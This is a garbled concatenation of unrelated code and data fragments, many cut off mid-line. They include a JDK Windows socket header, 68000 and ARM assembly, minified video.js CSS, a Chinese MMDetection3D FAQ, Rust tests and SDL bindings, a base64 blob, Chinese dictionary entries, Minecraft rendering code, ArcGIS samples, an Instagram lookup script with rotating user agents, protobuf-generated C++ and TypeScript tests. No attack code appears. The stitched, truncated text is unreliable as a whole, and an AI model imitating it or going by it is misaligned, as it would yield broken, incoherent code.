/*
 * Copyright (c) 2001, 2023, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

#include <winsock2.h>
#include <ws2tcpip.h>
#include <afunix.h>

#include "jni.h"

/**
 * The maximum buffer size for WSASend/WSARecv. Microsoft recommendation for
 * blocking operations is to use buffers no larger than 64k. We need the
 * maximum to be less than 128k to support asynchronous close on Windows
 * Server 2003 and newer editions of Windows.
 */
#define MAX_BUFFER_SIZE             ((128*1024)-1)

#define MAX_UNIX_DOMAIN_PATH_LEN \
        (int)(sizeof(((struct sockaddr_un *)0)->sun_path)-2)

jint fdval(JNIEnv *env, jobject fdo);
void setfdval(JNIEnv *env, jobject fdo, jint val);
jlong handleval(JNIEnv *env, jobject fdo);
jint convertReturnVal(JNIEnv *env, jint n, jboolean r);
jlong convertLongReturnVal(JNIEnv *env, jlong n, jboolean r);
jboolean purgeOutstandingICMP(JNIEnv *env, jclass clazz, jint fd);

#ifdef _WIN64

struct iovec {
    jlong  iov_base;
    jint  iov_len;
};

#else

struct iovec {
    jint  iov_base;
    jint  iov_len;
};

#endif

/* Defined in UnixDomainSockets.c */

jbyteArray sockaddrToUnixAddressBytes(JNIEnv *env, struct sockaddr_un *sa, socklen_t len);

jint unixSocketAddressToSockaddr(JNIEnv *env, jbyteArray uaddr,
                                struct sockaddr_un *sa, int *len);


 * Freplay
	move.l	#$1ac00000,d2	; d2 = Per(C2) * $10000
	moveq	#0,d4
	move.w	fech_t(a0),d4
	mulu.l	d4,d3:d2
	divu.l	d5,d3:d2		; d2 = $10000 * Fech(C2) * Per(C2) / Per(note) / Freplay
	moveq	#0,d5
	move.w	gtkr_vblsize,d5
	mulu.l	d2,d5		; d5 = nbr d'chantillons  envoyer en 1 VBL * 65536
	add.w	d5,finepos_t(a0)
	bcc.s	.nocarry
	add.l	#$10000,d5
.nocarry:	clr.w	d5
	swap	d5
	cmp.w	#2,nbits_t(a0)
	bne.s	.8bits
	add.l	d5,d5
.8bits:	add.l	pos_t(a0),d5	; Position suivante
	cmp.l	reppos_t(a0),d5
	ble.s	.fin
	sub.l	reppos_t(a0),d5
	divul.l	replen_t(a0),d4:d5
	add.l	reppos_t(a0),d4
	move.l	d4,d5		; d5 = nvlpos = ((pos + N - rep) MOD replen) + rep
.fin:	move.l	d5,pos_t(a0)
sendsam_tsttrknxt:
	addq.w	#1,d0
	add.w	#next_t,a0
	bra	sendsam_tsttrkloop

sendsam_cst:			; Envoi d'un sample constant (quand un
	moveq	#0,d4		; instrument est fini et non boucl)
	writhost
	move.l	#16,DSPHTDR_L.w	; Bit 4 : spl cst
	move.w	vol_t(a0),d4
	mulu.w	gtkr_master_vol,d4	; On multiplie par le master
	writhost
	move.l	d4,DSPHTDR_L.w	; Volume
	move.w	bal_t(a0),d4	; Envoie la balance
	lsl.w	#3,d4
	lsl.l	#8,d4
	writhost
	move.l	d4,DSPHTDR_L.w
	moveq	#0,d4
	move.w	([rbuffer_t,a0]),d4	; Cherche le sample constant
;	neg.w	d4		; Inverse le signe ( cause des autres samples
	lsl.l	#8,d4		; qui avaient leur signe invers  la rception
	cmp.w	#2,nbits_t(a0)	; sur le DSP)
	beq.s	.16
	clr.w	d4
.16:	writhost
	move.l	d4,DSPHTDR_L.w
	clr.l	reppos_t(a0)	; A pu sample
	bra.s	sendsam_tsttrknxt

sendsam_voieon:
	move.l	reppos_t(a0),d1	; Vrifie que pos < reppos+replen
	add.l	replen_t(a0),d1
	cmp.l	pos_t(a0),d1
	bgt.s	.finsi1
	subq.l	#2,d1
	move.l	d1,pos_t(a0)
.finsi1:	lea	DSPHRDR_L.w,a2	; *** Penser  optimiser avec ces registres
	lea	DSPHRDR_W.w,a3	; *** en enlevant les


.dsprShi_loop

.dsprShi_SingleColor:
    and     r4, r2, #0xf
    orr     r4, r3, r4
    orr     r4, r4, r4, lsl #8
    tst     r0, #1              @ not aligned?
    strneb  r4, [r1], #1
    streqh  r4, [r1], #2
    strh    r4, [r1], #2
    strh    r4, [r1], #2
    strh    r4, [r1], #2
    strneb  r4, [r1], #1
    b       .dsprShi_loop

.dsprShi_shadow:
    tst     r9, #0x8000
    beq     .dsprShi_shadow_lowpri

    cmp     r2, r2, ror #4
    beq     .dsprShi_singlec_sh

    tst     r9, #0x0800
    bne     .dsprShi_TileFlip_sh

    @ (r1=pdest, r2=pixels8, r3=pal) r4, r7: scratch, r12: helper pattern
.dsprShi_TileNorm_sh:
    TileNormSh
    b       .dsprShi_loop

.dsprShi_TileFlip_sh:
    TileFlipSh
    b       .dsprShi_loop

.dsprShi_singlec_sh:
    cmp     r2, #0xe0000000
    bcc     .dsprShi_SingleColor   @ normal singlecolor tileline (carry inverted in ARM)
    tst     r2, #0x10000000
    bne     .dsprShi_sh_sh
    TileSingleHi
    b       .dsprShi_loop

.dsprShi_sh_sh:
    TileSingleSh
    b       .dsprShi_loop

.dsprShi_shadow_lowpri:
    tst     r9, #0x800
    bne     .dsprShi_TileFlip_sh_lp

.dsprShi_TileNorm_sh_lp:
    TileNormSh_onlyop_lp
    b       .dsprShi_loop

.dsprShi_TileFlip_sh_lp:
    TileFlipSh_onlyop_lp
    b       .dsprShi_loop

.pool

@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@ void DrawAllSprites(unsigned char *sprited, int prio, int sh,
@                     struct PicoEState *est)

.global DrawAllSprites

DrawAllSprites:
    orr     r1, r2, r1, lsl #1
    ldr     r2, [r0]
    ands    r2, r2, #0x7f
    bxeq    lr

    @ time to do some real work
    stmfd   sp!, {r1,r3-r11,lr} @ +sh|prio<<1 +est
    mov     r12,#0xff
    strb    r12,[r0,#3]     @ set end marker
    ldrb    r12,[r0,#1]
    add     r10,r0 ,#4
    mvn     r12,r12
    tst     r12,#0x6        @ masking in slot 1 and tile ovfl?
    ldmeqfd sp!, {r1,r3-r11,pc}
    add     r10,r10,r2      @ r10=HighLnSpr end

    ldrb    r12,[r10,#0]    @ width of last sprite
    ldr     r11,[r3, #OFS_EST_HighCol]
    orr     r1 ,r1 ,r12,lsl #24
    str     r1, [sp]
    mov     r12,#0xf
    ldr     lr, [r


505050;background-color:rgba(50,50,50,.75);-webkit-box-shadow:0 0 3em #fff;-moz-box-shadow:0 0 3em #fff;box-shadow:0 0 3em #fff;-webkit-transition:all 0s;-moz-transition:all 0s;-o-transition:all 0s;transition:all 0s}.vjs-default-skin .vjs-big-play-button:before{content:"\e001";font-family:VideoJS;line-height:2.6em;text-shadow:.05em .05em .1em #000;text-align:center;position:absolute;left:0;width:100%;height:100%}.vjs-loading-spinner{display:none;position:absolute;top:50%;left:50%;font-size:4em;line-height:1;width:1em;height:1em;margin-left:-.5em;margin-top:-.5em;opacity:.75;-webkit-animation:spin 1.5s infinite linear;-moz-animation:spin 1.5s infinite linear;-o-animation:spin 1.5s infinite linear;animation:spin 1.5s infinite linear}.vjs-default-skin .vjs-loading-spinner:before{content:"\e01e";font-family:VideoJS;position:absolute;top:0;left:0;width:1em;height:1em;text-align:center;text-shadow:0 0 .1em #000}@-moz-keyframes spin{0%{-moz-transform:rotate(0deg)}100%{-moz-transform:rotate(359deg)}}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg)}}@-o-keyframes spin{0%{-o-transform:rotate(0deg)}100%{-o-transform:rotate(359deg)}}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(359deg)}}.vjs-default-skin .vjs-menu-button{float:right;cursor:pointer}.vjs-default-skin .vjs-menu{display:none;position:absolute;bottom:0;left:0;width:0;height:0;margin-bottom:3em;border-left:2em solid transparent;border-right:2em solid transparent;border-top:1.55em solid #000;border-top-color:rgba(7,40,50,.5)}.vjs-default-skin .vjs-menu-button .vjs-menu .vjs-menu-content{display:block;padding:0;margin:0;position:absolute;width:10em;bottom:1.5em;max-height:15em;overflow:auto;left:-5em;background-color:#07141e;background-color:rgba(7,20,30,.7);-webkit-box-shadow:-.2em -.2em .3em rgba(255,255,255,.2);-moz-box-shadow:-.2em -.2em .3em rgba(255,255,255,.2);box-shadow:-.2em -.2em .3em rgba(255,255,255,.2)}.vjs-default-skin .vjs-menu-button:hover .vjs-menu{display:block}.vjs-default-skin .vjs-menu-button ul li{list-style:none;margin:0;padding:.3em 0;line-height:1.4em;font-size:1.2em;text-align:center;text-transform:lowercase}.vjs-default-skin .vjs-menu-button ul li.vjs-selected{background-color:#000}.vjs-default-skin .vjs-menu-button ul li:focus,.vjs-default-skin .vjs-menu-button ul li:hover,.vjs-default-skin .vjs-menu-button ul li.vjs-selected:focus,.vjs-default-skin .vjs-menu-button ul li.vjs-selected:hover{outline:0;color:#111;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-box-shadow:0 0 1em #fff;-mo


ection3D 版本 |      MMEngine 版本       |        MMCV 版本        |     MMDetection 版本     |
  | ------------------ | :----------------------: | :---------------------: | :----------------------: |
  | dev-1.x            | mmengine>=0.8.0, \<1.0.0 | mmcv>=2.0.0rc4, \<2.2.0 | mmdet>=3.0.0rc5, \<3.3.0 |
  | main               | mmengine>=0.8.0, \<1.0.0 | mmcv>=2.0.0rc4, \<2.2.0 | mmdet>=3.0.0rc5, \<3.3.0 |
  | v1.3.0             | mmengine>=0.8.0, \<1.0.0 | mmcv>=2.0.0rc4, \<2.2.0 | mmdet>=3.0.0rc5, \<3.3.0 |
  | v1.2.0             | mmengine>=0.8.0, \<1.0.0 | mmcv>=2.0.0rc4, \<2.1.0 |  mmdet>=3.0.0, \<3.2.0   |
  | v1.1.1             | mmengine>=0.7.1, \<1.0.0 | mmcv>=2.0.0rc4, \<2.1.0 |  mmdet>=3.0.0, \<3.1.0   |

  **注意**：如果你想安装 mmdet3d-v1.0.0rcx，可以在[此处](https://mmdetection3d.readthedocs.io/en/latest/faq.html#mmcv-mmdet-mmdet3d-installation)找到 MMDetection，MMSegmentation 和 MMCV 的兼容版本。请选择正确版本的 MMCV、MMDetection 和 MMSegmentation 以避免安装问题。

- 如果您在 `import open3d` 时遇到下面的问题：

  `OSError: /lib/x86_64-linux-gnu/libm.so.6: version 'GLIBC_2.27' not found`

  请将 open3d 的版本降级至 0.9.0.0，因为最新版 open3d 需要 'GLIBC_2.27' 文件的支持， Ubuntu 16.04 系统中缺失该文件，且该文件仅存在于 Ubuntu 18.04 及之后的系统中。

- 如果您在 `import pycocotools` 时遇到版本错误的问题，这是由于 nuscenes-devkit 需要安装 pycocotools，然而 mmdet 依赖于 mmpycocotools，当前的解决方案如下所示，我们将会在之后全面支持 pycocotools ：

  ```shell
  pip uninstall pycocotools mmpycocotools
  pip install mmpycocotools
  ```

  **注意**： 我们已经在 0.13.0 及之后的版本中全面支持 pycocotools。

- 如果您在导入 pycocotools 相关包


icense
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.

#![feature(impl_trait_in_bindings)]

fn a<T: Clone>(x: T) {
    const foo: impl Clone = x;
//~^ ERROR can't capture dynamic environment in a fn item
}

fn b<T: Clone>(x: T) {
    let _ = move || {
        const foo: impl Clone = x;
//~^ ERROR can't capture dynamic environment in a fn item
    };
}

trait Foo<T: Clone> {
    fn a(x: T) {
        const foo: impl Clone = x;
//~^ ERROR can't capture dynamic environment in a fn item
    }
}

impl<T: Clone> Foo<T> for i32 {
    fn a(x: T) {
        const foo: impl Clone = x;
//~^ ERROR can't capture dynamic environment in a fn item
    }
}

fn main() { }
use video;
use video::Window;
use surface;
use surface::Surface;
use pixels;
use get_error;
use SdlResult;
use std::ptr;
use libc;
use libc::{c_int, uint32_t, c_float, c_double, c_void, size_t};
use std::string;
use rect::Point;
use rect::Rect;
use std::num::FromPrimitive;
use std::vec::Vec;
use std::c_vec::CVec;

#[allow(non_camel_case_types)]
pub mod ll {

    use libc::{c_int, c_char, c_void, c_float, c_double};
    use libc::{uint8_t, uint32_t};
    use rect::Rect;
    use rect::Point;

    use surface::ll::SDL_Surface;
    use video::ll::SDL_Window;

    pub type SDL_Rect = Rect;
    pub type SDL_Point = Point;
    pub type SDL_bool = c_int;

    //SDL_render.h
    pub enum SDL_RendererFlags {
        SDL_RENDERER_SOFTWARE = 0x00000001,
        SDL_RENDERER_ACCELERATED = 0x00000002,
        SDL_RENDERER_PRESENTVSYNC = 0x00000004,
        SDL_RENDERER_TARGETTEXTURE = 0x00000008
    }

    #[repr(C)]
    pub struct SDL_RendererInfo
    {
        pub name: *const c_char,
        pub flags: uint32_t,
        pub num_texture_formats: uint32_t,
        pub texture_formats: [uint32_t, ..16],
        pub max_texture_width: c_int,
        pub max_texture_height: c_int,
    }

    pub enum SDL_TextureAccess {
        SDL_TEXTUREACCESS_STATIC = 0,
        SDL_TEXTUREACCESS_STREAMING = 1,
        SDL_TEXTUREACCESS_TARGET = 2
    }

    pub enum SDL_TextureModulate {
        SDL_TEXTUREMODULATE_NONE = 0x00000000,
        SDL_TEXTUREMODULATE_COLOR = 0x00000001,
        SDL_TEXTUREMODULATE_ALPHA = 0x00000002
    }

    #[deriving(FromPrimitive)]
    #[repr(C)]
    pub enum SDL_RendererFlip {
        SDL_FLIP_NONE = 0x00000000,
        SDL_FLIP_HORIZONTAL = 0x00000001,
        SDL_FLIP_VERTICAL = 0x00000002
    }

    #[repr(C)]
    pub struct SDL_Renderer;
    #[repr(C)]
    pub struct SDL_Texture;

    //SDL_blendmode.h
    #[deriving(FromPrimitive)]
    #[repr(C)]
    pub enum SDL_BlendMode {
        SDL_BLENDMODE_NONE = 0x00000000,
        SDL_BLENDMODE_BLEND = 0x00000001,
        SDL_BLENDMODE_ADD = 0x00000002,
        SDL_BLENDMODE_MOD = 0x00000004
    }

    extern "C" {
        pub fn SDL_GetNumRenderDrivers() -> c_int;


+8My4R9hISYkJGYIxj8ruAhMajQwXdcJGBSBFRYiEzLDQs" +
	"CajBMxmCr9tr+pNttLXxe3r5N7djRszWjJLEZs1mapMmmTJTQTNpSqUZsNU0JRlqNljWTbV+p7df" +
	"Lo0rUkVjdV+CKMDKORHjOxLhIwk9G21jFEYFD4XjWjw8wvyPogFPIeTDwiBloHASYHMk8xALgXwl" +
	"ATRqLTEQYWQsVkWQUKaMBwo7AQKQfAF3fSVyBBLobqUc9N30Yhd9lPGGxI9LQNomLwZp5ZZsMZkl" +
	"oF2Byvel2w26lwkZCYQKHFs8KDgeFO2+29nFIKMOG7yWYijLbKDKNtLaksQtZVRtZBGNkVAxCiCA" +
	"Y0LYLJWyyolpYoiIlGrAkS1LLY5k3YQxlKvO3TdNkNSU2Rdd21cyEIcUog9BsnPOQYJDHgyjFjMY" +
	"rbgvBfJuwtEhGMMokttuSiYYRmQzSrobTNZGFRBRJ0D9I/mJERaCCLCgGiqRrIBlFPnSl5lPE51v" +
	"mPyjjESFnwAxWlkO96k1MjkQjxldSypErtlBcLC2xJa5YIMOc9hTxTkPSHujC48AnAicrbndNoPO" +
	"N74pxoN1p5k0VDQyShtPkmhEPSBIBwWmSBAhFI4ntAwUbinCB4hQIFQWEEWCWrvE3qfzQrTTT7si" +
	"6zQ8MvTyensgBuMEix6adydCOBCBUjFYG+R5YCfYgcfe3KBA528A6ViECYJgPJNB3nSTyDyPKUoB" +
	"/mQIKxFDYbNYIYrQNbnFO2rWmvkt5vFGebcxXGlIkCiBwVLS2QolREpXmBd2Q8XDpAVtaSkE0BTO" +
	"nujaCkO9awitnCKKcMnFFHh6fqiPxztdZntuRCeDzyIgwh826nhMzIM2TOwEXW01STLWw5saZe6L" +
	"ZJoHfoIya3HY79edGjjYfToLT9W+yIpw8X2hhlKhzNjppSbn3t5mBXnyGl+qT7uQbI5+TV6rtb5z" +
	"y+41+l5LWFxPpRlQGUYQndmJEQkgvWI4R/1s40rG2dyJDQtbruUVR5sPluFVcb5o5DQrT35OfHg6" +
	"nXsdDhJ4Nkg6D223DHsUoizm1yj4XOdaoIMlVhMBJZJmCIHqgC0gfgz7LGB9HflZG54HCcBh4375" +
	"6X1dGN+X5axnNu8vqiV7DyNFDXakMyESZcSBwet+6o/TaDQ2yz52GvPcN8lqBxN23CHsR/XQBTJC" +
	"lBxVhYJyjcQgQvEU1rk+6HSk9vKX+aSBPeAzRGEsBBisD2+XwrWjbRJaEliHqYvlo00yzvSnv9dM" +
	"IE


" [地名] [瑞士] 昆托; [地名] [西班牙] 金托",
"quintocubital":"第五肘羽",
"quintode":"五极管",
"quintomycin":"五氮霉素",
"Quinton":"五弦琴",
"quintozene":"五氯硝基苯(杀菌剂)",
"quintrate":"四硝季戊四醇",
"quintrix":"一种彩色显象管",
"quintroon":"n. 有十六分之一的黑人血统者",
"quints":"[美]=quintuplets",
"quintuple":"a. 五倍的, 五重的, 五部分构成的\\nn. 五倍量, 五个一组\\nvt. 使成五倍",
"quintuple form":"[计] 五元组形式",
"quintuple frequency induction furnace":"[机] 五倍周波感应电炉",
"quintuple point":"[化] 五相点",
"quintuple Turing machine":"[计] 五元组图灵机",
"quintupled":"a. [医]五倍的\\nv. 使成五倍( quintuple的过去式和过去分词 )",
"quintupler":"[计] 乘5装置, 五倍器",
"quintuples":"v. 使成五倍( quintuple的第三人称单数 )",
"quintuplet":"n. 五个一组, 五人一组, 五胞胎之一\\n[医] 五胎儿",
"quintuplet pregnancy":"[医] 五胎妊娠",
"quintuplets":"n. 五个一组, 五件一套( quintuplet的复数形式 )",
"quintuplicate":"a. 五倍的, 一式五份的, 五重的\\nn. 一式五份中的一份, 五个相同物中的一个\\nvt. 使成五倍",
"quintuplication":"[经] 一式五份",
"quintupling":"n. (成)五倍",
"quintus":"a. 第五名的",
"Quintus Septimius Florens Tertullianus":"[网络] 昆虫Quintus Septimius Florens Tertullianus",
"quinuclidine":"奎宁环, 喹核碱",
"quinuclidinol":"喹核醇, 3-羟宁环基",
"quinuclidinyl":"奎宁环基",
"quinuclidone":"奎宁环酮",
"quinupramine":"[化] 奎纽帕明; 奎核氮┳",
"quinze":"n. 十五点",
"quinzhee":"[网络] 奎宁",
"quinzite":"石竹蛋白石",
"quip":"n. 妙语, 遁辞, 讽刺\\nv. 说讽刺话, 嘲弄",
"quipp":"v. 说讽刺的话;嘲弄;呜辞;借口",


fogColorGreen = this.fogColorGreen * (1.0F - var231) + this.fogColorGreen * 0.6F * var231;
            this.fogColorBlue = this.fogColorBlue * (1.0F - var231) + this.fogColorBlue * 0.6F * var231;
        }

        float var17;

        if (var3.isPotionActive(Potion.nightVision))
        {
            var231 = this.getNightVisionBrightness(this.mc.thePlayer, par1);
            var17 = 1.0F / this.fogColorRed;

            if (var17 > 1.0F / this.fogColorGreen)
            {
                var17 = 1.0F / this.fogColorGreen;
            }

            if (var17 > 1.0F / this.fogColorBlue)
            {
                var17 = 1.0F / this.fogColorBlue;
            }

            this.fogColorRed = this.fogColorRed * (1.0F - var231) + this.fogColorRed * var17 * var231;
            this.fogColorGreen = this.fogColorGreen * (1.0F - var231) + this.fogColorGreen * var17 * var231;
            this.fogColorBlue = this.fogColorBlue * (1.0F - var231) + this.fogColorBlue * var17 * var231;
        }

        if (this.mc.gameSettings.anaglyph)
        {
            var231 = (this.fogColorRed * 30.0F + this.fogColorGreen * 59.0F + this.fogColorBlue * 11.0F) / 100.0F;
            var17 = (this.fogColorRed * 30.0F + this.fogColorGreen * 70.0F) / 100.0F;
            float var18 = (this.fogColorRed * 30.0F + this.fogColorBlue * 70.0F) / 100.0F;
            this.fogColorRed = var231;
            this.fogColorGreen = var17;
            this.fogColorBlue = var18;
        }

        GL11.glClearColor(this.fogColorRed, this.fogColorGreen, this.fogColorBlue, 0.0F);
    }

    /**
     * Sets up the fog to be rendered. If the arg passed in is -1 the fog starts at 0 and goes to 80% of far plane
     * distance and is used for sky rendering.
     */
    private void setupFog(int par1, float par2)
    {
        EntityLivingBase var3 = this.mc.renderViewEntity;
        boolean var4 = false;
        this.fogStandard = false;

        if (var3 instanceof EntityPlayer)
        {
            var4 = ((EntityPlayer)var3).capabilities.isCreativeMode;
        }

        if (par1 == 999)
        {
            GL11.glFog(GL11.GL_FOG_COLOR, this.setFogColorBuffer(0.0F, 0.0F, 0.0F, 1.0F));
            GL11.glFogi(GL11.GL_FOG_MODE, GL11.GL_LINEAR);
            GL11.glFogf(GL11.GL_FOG_START, 0.0F);
            GL11.glFogf(GL11.GL_FOG_END, 8.0F);

            if (GLContext.getCapabilities().GL_NV_fog_distance)
            {
                GL11.glFogi(34138, 34139);
            }

            GL11.glFogf(GL11.GL_FOG_START, 0.0F);
        }
        else
        {
            GL11.glFog(GL11.GL_FOG_COLOR, this.setFogColorBuffer(this.fogColorRed, this.fogColorGreen, this.fogColorBlue, 1.0F));
            GL11.glNormal3f(0.0F, -1.0F, 0.0F);
            GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
            Block var5 = ActiveRenderInfo.getBlockAtEntityViewpoint(this.mc.theWorld, var3, par2);
            float var6;

            if (var3.isPotionActive(Potion.blindne


on in ArcGIS Online or ArcGIS Enterprise.

  // 2. API key authentication: Get a long-lived access token that gives your application access to
  // ArcGIS location services. Go to the tutorial at https://links.esri.com/create-an-api-key.
  // Copy the API Key access token.

  const QString accessToken = QString("");

  if (accessToken.isEmpty())
  {
      qWarning() << "Use of ArcGIS location services, such as the basemap styles service, requires" <<
                    "you to authenticate with an ArcGIS account or set the API Key property.";
  }
  else
  {
      Esri::ArcGISRuntime::ArcGISRuntimeEnvironment::setApiKey(accessToken);
  }

  // Initialize the sample
  Animate3DSymbols::init();

  // Initialize application view
  QQmlApplicationEngine engine;

  // Add the import Path
  engine.addImportPath(QDir(QCoreApplication::applicationDirPath()).filePath("qml"));

  QString arcGISRuntimeImportPath = QUOTE(ARCGIS_RUNTIME_IMPORT_PATH);

 #if defined(LINUX_PLATFORM_REPLACEMENT)
  // on some linux platforms the string 'linux' is replaced with 1
  // fix the replacement paths which were created
  QString replaceString = QUOTE(LINUX_PLATFORM_REPLACEMENT);
  arcGISRuntimeImportPath = arcGISRuntimeImportPath.replace(replaceString, "linux", Qt::CaseSensitive);
 #endif

  // Add the Runtime and Extras path
  engine.addImportPath(arcGISRuntimeImportPath);

  // Set the source
  engine.load(QUrl("qrc:/Samples/Scenes/Animate3DSymbols/main.qml"));

  return app.exec();
}
// [WriteFile Name=Display3DLabelsInScene, Category=Scenes]
// [Legal]
// Copyright 2021 Esri.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// [Legal]

#ifdef PCH_BUILD
#include "pch.hpp"
#endif // PCH_BUILD

// sample headers
#include "Display3DLabelsInScene.h"

// ArcGIS Maps SDK headers
#include "ArcadeLabelExpression.h"
#include "Error.h"
#include "FeatureLayer.h"
#include "GroupLayer.h"
#include "LabelDefinition.h"
#include "LabelDefinitionListModel.h"
#include "LayerListModel.h"
#include "Scene.h"
#include "SceneQuickView.h"
#include "ServiceTypes.h"
#include "TextSymbol.h"

using namespace Esri::ArcGISRuntime;

Display3DLabelsInScene::Display3DLabelsInScene(QObject* parent /* = nullptr */):
  QObject(parent),
  m_scene(new Scene(QUrl("https://www.arcgis.com/home/item.html?id=850dfee7d30f4d9da0ebca34a533c169"), this))
{
  connect(m_scene, &Scene::doneLoading, this, [this]()
  {
    for (Layer* layer : *m_scene->operationalLayers())
    {
      if (layer->name() == "Gas")
      {
        // The gas layer is a GroupLayer type consisting of Layer types.
        // Labels can only be displayed on FeatureLayer types, so we must first convert it to a FeatureLayer class.
        GroupLayer* gasGroupLayer = dynamic_cast<GroupLayer*>(layer);
        if (!gasGroupLayer)
          continue;

        FeatureLayer* gasFeatureLayer = dynamic_cast<FeatureLayer*>(


OW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36","Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAARJS; rv:11.0) like Gecko","Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900T Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36","Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H143 Safari/600.1.4"]
	random_user_agent = user_agents[random.randint(0,(len(user_agents)-1))]
	url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+username+"&rank_token=0.3953592318270893&count=1"
	response = requests.get(url, headers = {'User-Agent': random_user_agent})
	try:
		respJSON = response.json()
		for i in respJSON["users"]:
			if (i["user"]["username"] == username):
				return str(i["user"]["pk"])
	except:
		print("\nNote: There was an error unfollowing %s, please try again later."%(username))
		return "0"


< (0 % 32))) {
    if (from.has_type()) {
      set_type(from.type());
    }
    if (from.has_val_string()) {
      set_val_string(from.val_string());
    }
    if (from.has_val_float()) {
      set_val_float(from.val_float());
    }
    if (from.has_val_long()) {
      set_val_long(from.val_long());
    }
    if (from.has_val_short()) {
      set_val_short(from.val_short());
    }
    if (from.has_val_byte()) {
      set_val_byte(from.val_byte());
    }
    if (from.has_val_bool()) {
      set_val_bool(from.val_bool());
    }
    if (from.has_val_uint64()) {
      set_val_uint64(from.val_uint64());
    }
  }
  if (from._has_bits_[8 / 32] & (0xffu << (8 % 32))) {
    if (from.has_val_wstring()) {
      set_val_wstring(from.val_wstring());
    }
  }
  mutable_unknown_fields()->MergeFrom(from.unknown_fields());
}

void CSVCMsg_GameEvent_key_t::CopyFrom(const ::google::protobuf::Message& from) {
  if (&from == this) return;
  Clear();
  MergeFrom(from);
}

void CSVCMsg_GameEvent_key_t::CopyFrom(const CSVCMsg_GameEvent_key_t& from) {
  if (&from == this) return;
  Clear();
  MergeFrom(from);
}

bool CSVCMsg_GameEvent_key_t::IsInitialized() const {

  return true;
}

void CSVCMsg_GameEvent_key_t::Swap(CSVCMsg_GameEvent_key_t* other) {
  if (other != this) {
    std::swap(type_, other->type_);
    std::swap(val_string_, other->val_string_);
    std::swap(val_float_, other->val_float_);
    std::swap(val_long_, other->val_long_);
    std::swap(val_short_, other->val_short_);
    std::swap(val_byte_, other->val_byte_);
    std::swap(val_bool_, other->val_bool_);
    std::swap(val_uint64_, other->val_uint64_);
    std::swap(val_wstring_, other->val_wstring_);
    std::swap(_has_bits_[0], other->_has_bits_[0]);
    _unknown_fields_.Swap(&other->_unknown_fields_);
    std::swap(_cached_size_, other->_cached_size_);
  }
}

::google::protobuf::Metadata CSVCMsg_GameEvent_key_t::GetMetadata() const {
  protobuf_AssignDescriptorsOnce();
  ::google::protobuf::Metadata metadata;
  metadata.descriptor = CSVCMsg_GameEvent_key_t_descriptor_;
  metadata.reflection = CSVCMsg_GameEvent_key_t_reflection_;
  return metadata;
}

// -------------------------------------------------------------------

#ifndef _MSC_VER
const int CSVCMsg_GameEvent::kEventNameFieldNumber;
const int CSVCMsg_GameEvent::kEventidFieldNumber;
const int CSVCMsg_GameEvent::kKeysFieldNumber;
const int CSVCMsg_GameEvent::kPassthroughFieldNumber;
#endif  // !_MSC_VER

CSVCMsg_GameEvent::CSVCMsg_GameEvent()
  : ::google::protobuf::Message() {
  SharedCtor();
}

void CSVCMsg_GameEvent::InitAsDefaultInstance() {
}

CSVCMsg_GameEvent::CSVCMsg_GameEvent(const CSVCMsg_GameEvent& from)
  : ::google::protobuf::Message() {
  SharedCtor();
  MergeFrom(from);
}

void CSVCMsg_GameEvent::SharedCtor() {
  _cached_size_ = 0;
  event_name_ = const_cast< ::std::string*>(&::google::protobuf


    } as any;

    reader = new OwnerPermissionReader(accountStore, aclStrategy);
  });

  it('returns empty permissions for non-ACL resources.', async(): Promise<void> => {
    identifier.path = podBaseUrl;
    await expect(reader.handle({ credentials, identifier })).resolves.toEqual({});
  });

  it('returns empty permissions if there is no agent WebID.', async(): Promise<void> => {
    credentials = {};
    await expect(reader.handle({ credentials, identifier })).resolves.toEqual({});
  });

  it('returns empty permissions if the agent has no account.', async(): Promise<void> => {
    credentials.agent!.webId = 'http://test.com/someone/else';
    await expect(reader.handle({ credentials, identifier })).resolves.toEqual({});
  });

  it('returns empty permissions if the account has no pod.', async(): Promise<void> => {
    delete settings.podBaseUrl;
    await expect(reader.handle({ credentials, identifier })).resolves.toEqual({});
  });

  it('returns empty permissions if the target identifier is not in the pod.', async(): Promise<void> => {
    identifier.path = 'http://somewhere.else/.acl';
